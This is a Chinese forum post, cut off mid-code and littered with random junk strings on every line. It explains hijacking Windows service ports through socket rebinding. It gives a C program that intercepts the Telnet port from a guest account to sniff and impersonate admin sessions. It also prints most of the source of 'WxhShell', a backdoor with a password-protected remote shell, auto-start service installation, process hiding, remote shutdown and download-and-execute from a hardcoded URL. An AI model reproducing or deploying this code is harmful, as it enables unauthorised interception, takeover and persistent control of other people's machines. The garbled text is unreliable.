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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: W=:4I[a6Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3tzb@T  
qM= $,s*  
  saddr.sin_family = AF_INET; y (@j;Q3(r  
7DZxr Vw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .< 7M4Z  
@SeInew;`l  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); tIn dve  
B( r~Nvc  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 go >*n\  
b* k=  
  这意味着什么?意味着可以进行如下的攻击: N3dS%F,_  
TgMa! Vz  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hEUS&`K  
Z>hS&B  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ZeM~13[  
ko<u0SjF)u  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }MQNzaXY^  
ere h!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T'_#Dwmj*  
=h5&:?X  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 g~E N3~  
7X 4/6]*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [A~n=m5H  
k{\wjaf)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 DwSB(O#X  
Q^13KWvuV  
  #include *Z}^T:3iw}  
  #include i!0w? /g9  
  #include RN:VsopL  
  #include    "/H B#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7Z%EXDm4/c  
  int main() }_Y&kaM  
  { ~5`p/.L)ZD  
  WORD wVersionRequested; = VIU  
  DWORD ret; stGk*\>U'  
  WSADATA wsaData; %!DdjC&5*  
  BOOL val; Ac^hZ.qPz  
  SOCKADDR_IN saddr; N;Hoi8W  
  SOCKADDR_IN scaddr; C_> WU   
  int err; mnzB90<  
  SOCKET s; E~}@56ER}  
  SOCKET sc; +"J2k9E  
  int caddsize; zXX =WH  
  HANDLE mt; kXW5bR  
  DWORD tid;   #/N;ScyUJT  
  wVersionRequested = MAKEWORD( 2, 2 ); t =LIkwD  
  err = WSAStartup( wVersionRequested, &wsaData ); !s^[|2D_U  
  if ( err != 0 ) { `-_kOxe3  
  printf("error!WSAStartup failed!\n"); PFR64HK2  
  return -1; F:$*0!  
  } +az=EF  
  saddr.sin_family = AF_INET; !AR@GuQPE  
   #*;G8yV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uwI$t[  
s!73To}>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I{nrOb1G(  
  saddr.sin_port = htons(23); >wSrllmj@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ! 2=m |,  
  { GN1Q\8)o  
  printf("error!socket failed!\n"); %Z~0vwY  
  return -1; >o/+z18x  
  } Q*jNJ^IW  
  val = TRUE; `@<>"ff#F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kB#;s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~K$dQb])  
  { 3M^s EaUI  
  printf("error!setsockopt failed!\n"); k2-+3zx  
  return -1; $sILCn  
  } H8!; XB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8kdJ;%^N  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Pk ?M~{S  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E+Eug{+  
WRCf [5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) iQd,xr  
  { t,w'w_C  
  ret=GetLastError(); '@6O3z_{  
  printf("error!bind failed!\n"); S =5br  
  return -1; "!S7D >2y#  
  } R1cOUV,y[/  
  listen(s,2); )L+>^cJI<  
  while(1) S7B\m v  
  { tl6x@%\  
  caddsize = sizeof(scaddr); ]0o_- NI  
  //接受连接请求 TI5<' U)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E$"`|Df  
  if(sc!=INVALID_SOCKET) Q]1s*P  
  { Kcu*Z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F+<e9[  
  if(mt==NULL) sgLw,WZ:  
  { m!- R}PQC  
  printf("Thread Creat Failed!\n"); ]]F e:>  
  break; QnJd}(yN  
  } #fVk;]u`[3  
  } V}aZ}m{J  
  CloseHandle(mt); *-eDU T|O  
  } %/n#{;c#  
  closesocket(s); H|%'$oWp  
  WSACleanup(); T`$!/BlZ  
  return 0; [,yYr  
  }   -|DBO0q  
  DWORD WINAPI ClientThread(LPVOID lpParam) jvQpf d  
  { Vi=u}(*  
  SOCKET ss = (SOCKET)lpParam; pgw_F  
  SOCKET sc; ?B32,AS@  
  unsigned char buf[4096]; /{R>o0oW  
  SOCKADDR_IN saddr; S*l=FRFI  
  long num; %#7 ]  
  DWORD val; s&d!+-\6_  
  DWORD ret; wbQs>pc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2{|mL`$04<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C2;Hugm4  
  saddr.sin_family = AF_INET; Y3.^a5o  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Uz_OUTFM  
  saddr.sin_port = htons(23); G,X>f?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2cQG2N2*  
  { *{!E`),FX  
  printf("error!socket failed!\n"); e3.q8r  
  return -1; M@]@1Q.p  
  } /B!Ik:c}  
  val = 100; ?s5/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gP2<L5&Z,  
  { d3;Sy`.  
  ret = GetLastError(); -|2k$W  
  return -1; 6f*QUw~  
  } N{&Hq4^c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |hD)=sCj  
  { {k uC+~R  
  ret = GetLastError(); P$v9  
  return -1; y=&^=Z h[  
  } 'FM_5`&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #i  5@G*  
  { Oj1B @QE  
  printf("error!socket connect failed!\n"); 9j>LU<Z  
  closesocket(sc); /_mU%fl  
  closesocket(ss); :Aa5,{v _  
  return -1; =rN_8&  
  } 9Pql\]9"o  
  while(1) 3H`r|R  
  { gxc8O).5vY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "ph[)/u;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ksff]##H  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 rqTsKrLe  
  num = recv(ss,buf,4096,0); IFbN ]N0  
  if(num>0) @MxB d,P  
  send(sc,buf,num,0); .23Yqr'zT  
  else if(num==0) ?wVq5^ e  
  break; YP`/dX"4  
  num = recv(sc,buf,4096,0); iE#I^`^V  
  if(num>0) ;m~%57.;\  
  send(ss,buf,num,0); ipD/dx.  
  else if(num==0) Ay|K>8z   
  break; ]$)U~)T iW  
  } KkZS6rD\  
  closesocket(ss); dmYgv^t  
  closesocket(sc); Z#zXary5s  
  return 0 ; E`b<^l`  
  } Ey&gZ$|&  
oAF#bj_f  
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========================================================== _F`RwBOjs  
X\1.,]O >  
下边附上一个代码,,WXhSHELL 5Ve T8/7Q  
\# _w=gs<i  
========================================================== AvcN,  
IoCi(N;  
#include "stdafx.h" @a}\]REn  
;<H\{w@D  
#include <stdio.h> ki ?ETC  
#include <string.h> )sLXtV)nm6  
#include <windows.h> lpnPd{kE  
#include <winsock2.h> BM[jF=0  
#include <winsvc.h> qS[KB\RN1  
#include <urlmon.h> ZjveXrx  
fjLS_Q ;h  
#pragma comment (lib, "Ws2_32.lib") C/ENJ&  
#pragma comment (lib, "urlmon.lib") $q g/8G  
%b>Ee>rdD  
#define MAX_USER   100 // 最大客户端连接数 IN?rPdY  
#define BUF_SOCK   200 // sock buffer -] `OaL!  
#define KEY_BUFF   255 // 输入 buffer m`xzvg  
T7Qw1k  
#define REBOOT     0   // 重启 LLPbZ9q  
#define SHUTDOWN   1   // 关机 ?sc lOOh  
z4rg.ai  
#define DEF_PORT   5000 // 监听端口 <|;)iT1VeT  
pwmH(94$0  
#define REG_LEN     16   // 注册表键长度 -Q" N;&'[&  
#define SVC_LEN     80   // NT服务名长度 vt(cC) )  
Y))x'<T'Q  
// 从dll定义API ; mwU>l,4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -J^t#R^$`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (3N;-   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LfX[(FP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >#|%y>g .o  
P vW~EJ  
// wxhshell配置信息 cm`x;[e6l  
struct WSCFG { =j~Xrytn  
  int ws_port;         // 监听端口 &6^QFqqW`-  
  char ws_passstr[REG_LEN]; // 口令 /^':5"=o  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]] 50c  
  char ws_regname[REG_LEN]; // 注册表键名 '7UIzk|  
  char ws_svcname[REG_LEN]; // 服务名 XX'mM v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `J-&Y2_/k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %YwIR.o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G$E+qk nJL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }5=tUfh)]'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" li&&[=6A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )BmO[AiOM  
`:kI@TPI_C  
}; f vr|<3ojo  
sJ7ZE-v]h  
// default Wxhshell configuration CDT3&N1'R  
struct WSCFG wscfg={DEF_PORT, en-HX3'  
    "xuhuanlingzhe", gJ?Vk<hp  
    1, M"E7= J  
    "Wxhshell", oNp(GQ@0  
    "Wxhshell", {xCqz0  
            "WxhShell Service", G'(8/os{  
    "Wrsky Windows CmdShell Service", HBcL1wfS  
    "Please Input Your Password: ", ~ ":}Rs  
  1, %Iv*u sXP  
  "http://www.wrsky.com/wxhshell.exe", ,o s M|!,  
  "Wxhshell.exe" DgKe!w$  
    }; 6Jd.Eg ~A7  
17+2`@vJgM  
// 消息定义模块 \pVWYx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yc.9CTxx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 18o5Gs;yx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'L8B"5|>  
char *msg_ws_ext="\n\rExit."; rf YFS96  
char *msg_ws_end="\n\rQuit."; Y1 *8&xT  
char *msg_ws_boot="\n\rReboot..."; Kd;)E 9Ti  
char *msg_ws_poff="\n\rShutdown..."; ObSRd$M  
char *msg_ws_down="\n\rSave to "; aLO'.5 ~^  
Gk]6WLi  
char *msg_ws_err="\n\rErr!"; UOcO\EA+  
char *msg_ws_ok="\n\rOK!"; o>o! -uf  
>rid3~  
char ExeFile[MAX_PATH]; TyN]Pa  
int nUser = 0; R 3@luT]  
HANDLE handles[MAX_USER]; j S<."a/n  
int OsIsNt; l G $s(  
@q+X:K5b  
SERVICE_STATUS       serviceStatus; 1[4 0\sM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PEPf=sm  
LuvRxmQ`  
// 函数声明 ' ;3#t(J;  
int Install(void); !b8.XGo  
int Uninstall(void); /eY}0q%  
int DownloadFile(char *sURL, SOCKET wsh); :bu]gj4e  
int Boot(int flag); ><H*T{ Pg  
void HideProc(void); UflS`  
int GetOsVer(void); .?)gn]#  
int Wxhshell(SOCKET wsl); Wph@LRB]  
void TalkWithClient(void *cs); mH /9J  
int CmdShell(SOCKET sock); Z^O_7I<5E  
int StartFromService(void); WFG`-8_e[I  
int StartWxhshell(LPSTR lpCmdLine); (X~JTH:e/  
z65Q"A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UHFI4{Wz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D ] G=sYt  
U$7]*#@&  
// 数据结构和表定义 BMYvxSsm  
SERVICE_TABLE_ENTRY DispatchTable[] = kR65{h"gZT  
{ FS7@6I2Ts  
{wscfg.ws_svcname, NTServiceMain}, oP_}C[  
{NULL, NULL} 1)hO!%  
}; ?C(3TKH  
Zk> #T:{h  
// 自我安装 \JbOT%1  
int Install(void) 9}jezLI/3  
{ lB*HL C  
  char svExeFile[MAX_PATH]; .^V9XN{'a  
  HKEY key; l#fwNM/F  
  strcpy(svExeFile,ExeFile); tFu"h1  
Qz`v0"'w  
// 如果是win9x系统,修改注册表设为自启动 6D/K=-   
if(!OsIsNt) { Q|(G -  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Cnv?0to2l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d'k99(vy  
  RegCloseKey(key); v`Yj)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q.!<GqSgb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |H ,-V;  
  RegCloseKey(key); ph>0?Z =bn  
  return 0; ]i Yp  
    } +jb<=ERV[  
  } A^vvw~!d  
} T&+y~c[au  
else { 1fqJtP6  
%![3?|8~  
// 如果是NT以上系统,安装为系统服务 T,/:5L9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T7?cnK"  
if (schSCManager!=0) 0[.T`tpN'  
{ ^0HgE;4  
  SC_HANDLE schService = CreateService  ,$(a,`s)  
  ( 2`U+ !  
  schSCManager, D+"+m%^>C  
  wscfg.ws_svcname, 0bl8J5Ar5  
  wscfg.ws_svcdisp, D.*o^{w|  
  SERVICE_ALL_ACCESS, U5ME`lN*`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d[`vd^hI  
  SERVICE_AUTO_START, +'{d^-( (  
  SERVICE_ERROR_NORMAL, 1"f)\FPGe  
  svExeFile, v \dP  
  NULL, {'z(  
  NULL, )jGB[s";)y  
  NULL, Cq[<CPAS  
  NULL, OBL2W\{  
  NULL < Wm'V-  
  ); *;[g Ga~  
  if (schService!=0) (O"-6`w[  
  { ^NXxMC( e+  
  CloseServiceHandle(schService); ]h%~'8g,  
  CloseServiceHandle(schSCManager); *AJYSa,z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]XEUD1N;I  
  strcat(svExeFile,wscfg.ws_svcname); 2:G/Oj h&]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WB5M ![  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zI"1.^Trn  
  RegCloseKey(key); JKA%$l0  
  return 0; J~|:Q.Rt`  
    } c\OLf_Uf  
  } LG;U?:\  
  CloseServiceHandle(schSCManager); B{!*OC{l  
} W~j>&PK,?  
} pvhN.z  
'$5Qdaj  
return 1; `J %35  
} AmB*4p5b  
WSbD."p<  
// 自我卸载 [oOV@GE  
int Uninstall(void) a/xnf<(H  
{ }U@(S>,%  
  HKEY key; 9k;%R5(  
wL[{6wL  
if(!OsIsNt) { m1Xc3=Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -{E S 36  
  RegDeleteValue(key,wscfg.ws_regname); 2]cU:j6G  
  RegCloseKey(key); J+m1d\lBu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b}!T!IP}  
  RegDeleteValue(key,wscfg.ws_regname); PO*0jO;%  
  RegCloseKey(key); " TC:O^X  
  return 0; 88Vl1d&b  
  } /YHnt-}v,  
} q9(Z9$a(\  
} BHt9$$Z|  
else { La$?/\Dv)  
8*^*iEsR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g}$B4_sY  
if (schSCManager!=0) *g"X hk  
{ 4 {+47=n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x:+]^?}r  
  if (schService!=0) a xz-H`oq4  
  { X*t2h3 "}  
  if(DeleteService(schService)!=0) { -nqq;|%  
  CloseServiceHandle(schService); <3laNk  
  CloseServiceHandle(schSCManager); ]/7#[  
  return 0; > 1=].  
  } t'[`"pp=  
  CloseServiceHandle(schService); ~z'Y(qG  
  } H` h]y  
  CloseServiceHandle(schSCManager); h/]));p  
} dg#w!etB  
} d "25e"(~F  
S5[}kfe  
return 1; 7A^L$TY  
} w d6+,B  
4e?MthJ>  
// 从指定url下载文件 Qn}M  
int DownloadFile(char *sURL, SOCKET wsh) UZ!It>  
{ 03gYl0B  
  HRESULT hr; kOQ!]-;  
char seps[]= "/"; XA\wZV |{  
char *token; ?u>A2Vc!  
char *file; %*OQH?pyx}  
char myURL[MAX_PATH]; 0zE(:K  
char myFILE[MAX_PATH]; { a_&L  
i93^E~q]  
strcpy(myURL,sURL); |eqp3@Y1E  
  token=strtok(myURL,seps); |y4j:`@.  
  while(token!=NULL) /L=Y8tDt  
  { L,sFwOWY  
    file=token; \5fvD8>H  
  token=strtok(NULL,seps); 0+NGFX \p  
  } x{S2   
p. KT=dZT  
GetCurrentDirectory(MAX_PATH,myFILE); g/gaPc*86  
strcat(myFILE, "\\"); lT_dzO  
strcat(myFILE, file); M/kBAxNIC|  
  send(wsh,myFILE,strlen(myFILE),0); ]{18-=  
send(wsh,"...",3,0); x!fgZr{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EP{/]T  
  if(hr==S_OK) gw<u dhk  
return 0; P>'29$1'  
else %v[KLMo'(  
return 1; 9>= S@hVMd  
bT`et*]  
} 0qL.Rnt  
e?:1wU  
// 系统电源模块 WQsu}_g5y  
int Boot(int flag) .f`KP!p.  
{ "Iacs s0;  
  HANDLE hToken; jXIVR'n(  
  TOKEN_PRIVILEGES tkp; d'[q2y?6N  
c"P:p%\m&u  
  if(OsIsNt) { r%%@~ \z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :(;ho.zz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $Y8iT<nP  
    tkp.PrivilegeCount = 1; 3g5D[>J'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A}i>ys  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FY pspv?4  
if(flag==REBOOT) { V^_U=Ed@M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #lF 2q w  
  return 0; WTu!/J<\  
} dte-2?%~j  
else { f |NXibmP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V5p->X2#  
  return 0; &.JJhX  
} vJ e c+a  
  } gUme({h&|  
  else { oiQ:&$y  
if(flag==REBOOT) { 'q l<R0g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XW:%YTv  
  return 0; oG c9 6B%  
} " Rn@yZV  
else { UQjYWXvi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pW_mS|  
  return 0; *A0*.>@N  
} `E |>K\  
} b{;LbHq+G  
3e1%G#fu  
return 1; K;]Dh?  
} U "v=XK)!  
M|7][! <G!  
// win9x进程隐藏模块 U5[r&Y D  
void HideProc(void) py6O\` \  
{ dv?t;D@p!  
}>_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l7 U<]i GL  
  if ( hKernel != NULL ) ps33&  
  { Aa^w{D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0@&/W-VXg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *vT Abk$   
    FreeLibrary(hKernel); tv5N wM  
  } wpt5'|I  
#I#_gjJkx  
return; +1c[!;'  
} H=9{|%iS  
l@`n4U.Gwl  
// 获取操作系统版本 {dlG3P='`f  
int GetOsVer(void) q><wzCnRu~  
{ ;A0ZcgF  
  OSVERSIONINFO winfo; (O/W`qo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oSl}A,aQ(  
  GetVersionEx(&winfo); [d=BN ,?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |}@teN^J*U  
  return 1; qNUd "%S  
  else VH] <o0  
  return 0; O6ltGtF  
} +pe\9F  
Gn;^]8d  
// 客户端句柄模块 <g64N  
int Wxhshell(SOCKET wsl) s\(@f4p  
{ -c#vWuLl  
  SOCKET wsh; u$qazj  
  struct sockaddr_in client; Y6 a9S`o  
  DWORD myID; G6qFAepwi  
}S{VR(i`J  
  while(nUser<MAX_USER) lYU?j|n  
{ df/7u}>9  
  int nSize=sizeof(client); zUWeOR'X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~xcU6@/  
  if(wsh==INVALID_SOCKET) return 1; dJ~Occ1~r  
\"d\b><R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uCgJ F@  
if(handles[nUser]==0) >AWWwq -  
  closesocket(wsh); @*WrHoa2N  
else <2wC)l3j*  
  nUser++; f DPLB[  
  } A(z m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QiaBZAol  
ktM7L{Nz  
  return 0; tUGF8?& G  
} ()Q q7/  
M$} AJS%8  
// 关闭 socket  3bHB$n  
void CloseIt(SOCKET wsh) (W#^-*$R  
{ rpEN\S%7P  
closesocket(wsh); E9]*!^=/  
nUser--; PR%n>a#  
ExitThread(0); 3!8u  
} $5DlCN  
M2nUY`%#v  
// 客户端请求句柄 w`atk=K  
void TalkWithClient(void *cs) J 2k4k  
{ 28j/K=0(  
vZPBjloT!.  
  SOCKET wsh=(SOCKET)cs; WsT   
  char pwd[SVC_LEN]; Dy{lgT0k  
  char cmd[KEY_BUFF]; :W$- b  
char chr[1]; -4obX  
int i,j; 2`Ihrz6  
k|$?b7)"@  
  while (nUser < MAX_USER) { <:!:7  
PmtXD6p3(  
if(wscfg.ws_passstr) { Lc(eY{CY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [{zfI`6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BY@l:y4  
  //ZeroMemory(pwd,KEY_BUFF); Yi <1z:\  
      i=0; (^58$IW71  
  while(i<SVC_LEN) { zX6Q7Bc  
x#hSN|'"  
  // 设置超时 [J55%N;#1  
  fd_set FdRead; TV/EC#48  
  struct timeval TimeOut; BC#O.93`  
  FD_ZERO(&FdRead); (~fv;}}v  
  FD_SET(wsh,&FdRead); 4ZkaH(a1  
  TimeOut.tv_sec=8; Xm<|m#  
  TimeOut.tv_usec=0; +]Ev  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DeI3(o7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }(K1=cEaL  
UYzNaw4/x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9zm2}6r4  
  pwd=chr[0]; QkYKm<b  
  if(chr[0]==0xd || chr[0]==0xa) { NTVaz.  
  pwd=0; 9)uJ\NMy  
  break; At&kW3(  
  } 8 EU/}Ym  
  i++; ,x?Jrcx~'C  
    } < Yc)F.:  
-8v:eyc  
  // 如果是非法用户,关闭 socket {: =]J4]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H;#C NB<e  
} 6_K7!?YG7  
AB<%GzW0(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  m=a^t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a'O-0]g,  
JW"n#sR4  
while(1) { w8zr0z  
}|wC7*^)  
  ZeroMemory(cmd,KEY_BUFF); FM|3'a-z  
KGmAnN  
      // 自动支持客户端 telnet标准   gL`aLg_  
  j=0; /x\~ 5cC  
  while(j<KEY_BUFF) { V5gr-^E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _>_ "cKS  
  cmd[j]=chr[0]; h;R>|2A  
  if(chr[0]==0xa || chr[0]==0xd) { G[n;%c~`+  
  cmd[j]=0; )_}xK={  
  break; f/"IC;<~t>  
  } FytGg[#]  
  j++; 2 ]n4)vv,  
    } +`!>lo{X  
j|{ n?  
  // 下载文件 Q x&7Ceu"  
  if(strstr(cmd,"http://")) { _>3#dk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $"va8,  
  if(DownloadFile(cmd,wsh)) qRq4PQ@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); En4!-pWHQ  
  else O\h%ZLjfO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m= %KaRI  
  } Hm+VGH'H?  
  else { `/<f([w  
PGuPw'2;[  
    switch(cmd[0]) { X_)x Fg'k  
  >)k[085t  
  // 帮助 ""IPaNHQ  
  case '?': { /?a9g>G%N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aO 2zD<d  
    break; )k]{FM  
  } ]ZH6 .@|  
  // 安装 HcrlcxwM\i  
  case 'i': { 4\j1+&W   
    if(Install()) Tq?f5swsI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z>b^Ui0  
    else # wyjb:Ql  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [}4\CWM  
    break; l-5O5|C  
    } ($ gmN 4  
  // 卸载 AdbTI#eY  
  case 'r': { ]hRs -x  
    if(Uninstall()) L @J$kqWY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UJjtDV3@_g  
    else JURg=r]LI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }N:QB}7'_  
    break; y,`q6(&  
    } ygd*zy9  
  // 显示 wxhshell 所在路径 O9RnS\  
  case 'p': { ry+|gCZ  
    char svExeFile[MAX_PATH]; Nh !U  
    strcpy(svExeFile,"\n\r"); 4tSh.qBht  
      strcat(svExeFile,ExeFile); \w-3Spk*  
        send(wsh,svExeFile,strlen(svExeFile),0); oG-Eac,  
    break; pp2 Jy{\d  
    } TQOJN  
  // 重启 2}_^~8  
  case 'b': { Sg13Dp @x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5!jt^i]O  
    if(Boot(REBOOT)) 6=x]20  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hMgk+4*  
    else { Fxn=+Xgg  
    closesocket(wsh); gx2v(1?S  
    ExitThread(0); D'Uc?2X,&  
    } SCjVzvG$yg  
    break; 2o 7o~r  
    } xXJzE|)1h!  
  // 关机 M >i *e  
  case 'd': { u3DFgl3-7  
